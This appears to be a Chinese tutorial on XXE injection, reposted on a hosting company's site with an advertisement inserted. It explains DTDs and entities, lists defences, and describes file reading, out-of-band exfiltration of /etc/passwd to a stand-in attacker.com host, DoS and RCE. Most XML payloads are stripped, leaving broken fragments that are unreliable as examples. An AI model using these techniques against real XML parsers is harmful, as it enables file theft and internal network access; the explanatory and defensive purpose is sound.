189 8069 5689
本篇内容主要讲解“XXE的基本概念和利用方式是什么”，感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷，实用性强。下面就让小编来带大家学习“XXE的基本概念和利用方式是什么”吧!
XXE的基本概念和利用方式
创新互联专业为企业提供岳阳县网站建设、岳阳县做网站、岳阳县网站设计、岳阳县网站制作等企业网站建设、网页设计与制作、岳阳县企业网站模板建站服务，十余年岳阳县做网站经验，不只是建网站，更提供有价值的思路和整体网络服务。
本文侧重于对XXE原理和概念的总结，简化了细节性的内容。本文从black hat EU 2013 XML Out-Of-Band Data Retrieval、Out-of-band XML External Entity (OOB-XXE)等优质文章中节选了部分具有代表性的内容进行翻译。在保证术语准确性的前提下，尽量精简。0x00 参考文献
什么是XML外部实体（XXE）攻击
带外XML外部实体（OOB-XXE）
XML Out-Of-Band Data Retrieval
XML外部实体处理
A4:2017-XML External Entities (XXE)0x01 概述XXE
XXE全称XML External Entity Injection，也就是XML外部实体注入。它是对解析XML输入的应用程序的一种攻击。当配置不当的XML处理器处理包含对外部实体的引用
的XML输入时，就会发生此攻击。XML的作用
XML 被设计用来传输和存储数据，其关注点是数据的内容。 XML 旨在传输信息。要解释XML数据，应用程序需要XML解析器。
XML文档可以是特定类型。您可以通过指定类型定义在文档中声明此类型。XML解析器会在处理文档之前验证XML文档是否遵守此类型定义。您可以使用两种类型的类型定义：XML架构定义（XSD）或文档类型定义（DTD）。XXE漏洞发生在“文档类型定义”中。什么是DTD（文档类型定义）
DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。 DTD的声明：指XML文档中声明该文档的DTD或DTD来源的部分，可以包含在使用它的XML文档内部，也可以以独立的DTD文档（*.dtd）文档存在。
所以DTD一般认为有两种引用或声明方式：
1、内部DTD：即对XML文档中的元素、属性和实体的DTD的声明都在XML文档中。
2、外部DTD：即对XML文档中的元素、属性和实体的DTD的声明都在一个独立的DTD文件（.dtd）中。
DTD文档的三种形式：
内部DTD类型：
外部DTD类型：
内外部DTD文档结合：
在XXE中最常用的是内部DTD类型。
在DTD内，我们可以声明外部实体。什么是XML实体（ENTITY）
实体是用于定义引用普通文本或者特殊字符的快捷方式的变量。
XML实体几乎可以来自任何地方-包括外部资源（因此称为XML外部实体）。
在DTD中的实体类型，一般分为：内部实体和外部实体，细分又分为普通实体和参数实体。
实体的具体分类
预定义：&<%
内部实体：
外部实体：
内部实体和外部实体统称为普通实体
普通实体的引用方式是&普通实体名;
参数实体：
参数实体的引用方式是%实体名;
普通实体和参数实体可能是：
内部的（定义在当前DTD中）
外部的（定义在外部资源中）可能造成XXE的风险因素
该应用程序解析XML文档
实体的系统标识符部分，文档类型声明（DTD）中允许使用受污染的数据
XML解析器配置为验证和处理DTD
XML解析器配置为解析DTD内的外部实体XXE的影响
本地文件读取
内网访问
主机扫描/端口扫描
远程代码执行（不常用）
拒绝服务攻击防御尽可能使用简单的数据格式（如JSON），并避免敏感数据序列化
。
修补或升级XML处理器和库。使用依赖项检查器。在应用程序的所有XML解析器中禁用XML外部实体和DTD处理
。在端使用白名单
输入验证，过滤或清理，防止XML文档、表头、节点内的恶意数据。XML或XSL文件上传功能使用XSD（XML架构定义）
验证传入的XML。
SAST根据检测源代码中的XXE。
使用虚拟补丁程序，API安全网关或Web应用程序防火墙（WAF）来检测和阻止XXE攻击。0x02 利用方式本地文件读取
当用户的输入在响应中回显，这种XXE被称为基于报错的XXE。
攻击者可以使用XML实体。这是因为您不必在XML文档中定义XML实体。实际上，XML实体几乎可以来自任何地方-包括外部资源（因此称为XML外部实体）。这就是XXE成为服务器端请求伪造（SSRF）攻击的一种类型。
攻击者可以使用URI（在XML中称为系统标识符）创建以下请求。如果将XML解析器配置为处理外部实体（默认情况下，许多XML解析器都配置为处理外部实体），则Web服务器返回系统上的文件，可能包含敏感数据。 ]>
]>
但是，这种方法在实际应用会受到一定的限制：
XXE仅可用于获取包含格式正确的XML文件或响应
XXE无法用于获取二进制文件
获取的文件必须有足够的权限
无法获取非常大的文件，如/dev/random和/dev/zero，会导致拒绝服务攻击。
XML限制的解决方法
CDATA(字符数据)
访问带有XML特殊字符（如&、<和>）的文本文件
XML解析器将忽略CDATA（字符数据）标记中的特殊XML字符。characters are ok here ]]>
参数实体
具体方法见通过HTTP进行数据读取
PHP协议包装器
PHP协议包装器是允许访问PHP输入和输出流的I / O流。
攻击者可以使用php://filter协议包装程序对文件的内容进行Base64编码。由于Base64将始终被视为有效的XML，因此攻击者可以简单地在服务器上对文件进行编码，然后在接收端对其进行解码。此方法还具有允许攻击者窃取二进制文件的附加好处。
请求：]>带外out-of-band(OOB-XXE)
一、通过HTTP进行数据提取
前置知识：参数实体
除了通用实体，XML还支持参数实体。参数实体仅在文档类型定义（DTD）中使用。
参数实体以%字符开头。此字符指示XML解析器正在定义参数实体（不是一般实体）。
前置知识：带外攻击
XXE攻击有两种类型：带内和带外。
带内XXE攻击更为常见，攻击者可以立即收到对XXE payload的响应。对于带外XXE攻击（也称为盲型XXE），Web应用程序不会立即做出响应。利用带外XXE漏洞的过程类似于将参数实体与带内XXE一起使用，并且涉及创建外部DTD（文档类型定义）。有一个主要区别：使用这种类型的攻击，攻击者需要XML解析器向攻击者控制的服务器发出附加请求。这是读取本地文件的内容所必需
的。
原理
攻击者向目标服务器发送恶意的XML请求。
目标服务器上的XML解析器首先处理参数实体，该实体加载本地文件，如/etc/passwd。
接下来，XML解析器向位于攻击者服务器上的DTD文件发出请求。
目标服务器下载攻击者的DTD，XML解析器处理攻击者的DTD文件后。攻击者DTD中的参数实体会创建一个通用实体。通用实体中包含着一个访问攻击者服务器的URL。该URL中包含本地文件内容（例如：http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh）。
最后，在构造好URL后，XML解析器将处理通用实体，这将向攻击者的服务器发出包含文件内容的请求。
攻击者在服务器日志上可以看到请求记录，并从中获得目标文件。
以下是攻击者如何利用带外（OOB）技术利用参数实体窃取敏感数据的示例。
请求POST http://example.com/xml HTTP/1.1%dtd;]>&send;攻击者的DTD(attacker.com/evil.dtd)">%all;
攻击进行如下：
XML解析器首先处理%file参数实体，该实体加载文件/ etc / passwd。
接下来，XML解析器向位于http://attack.com/evil.dtd的攻击者的DTD文件发出请求。
XML解析器处理攻击者的DTD文件后，%all参数实体创建一个名为的通用实体&send，其中包含一个URL。该URL包含文件内容（例如http://attacker.com/collect.php?collect=root:!:0:0::/:/usr/bin/ksh）。
最后，在构造URL之后，XML解析器将处理&send实体，这将向攻击者的服务器发出请求。
攻击者可以在其终端记录请求，并从日志条目中重建文件。
二、通过FTP进行数据提取
三、查询
XXE Attacks — Part 2: XML DTD related Attacks结论
带内和带外XML外部实体注入（XXE）漏洞非常严重，几乎影响解析XML文档的所有Web应用程序。XXE可用于导致拒绝服务以及从本地服务器窃取系统文件和源代码。攻击者还可以使用XXE对内部网络上的其他服务器发起服务器端请求伪造（SSRF）攻击。XML Dos攻击
定义一个实体，递归引用。]>
或者定义一个大实体，并且多次引用。
如果是Unix系统，可以在DTD中引用外部实体，用file协议读取
/dev/random
文件。]>
这种攻击会使XML解析器内存过载。一些XML解析器会自动限制它们可以使用的内存量。
远程代码执行
RCE可以通过XXE在php应用程序中实现，但是这非常少见。只有目标系统加载了php的Expect模块（默认禁用），才有可能实现。另外，php7不支持expect模块。
XXE在php应用程序中更容易利用。因为php提供了许多URL处理方法，流装饰器和数据过滤器，这会增加攻击面。
默认情况下，php支持外部实体。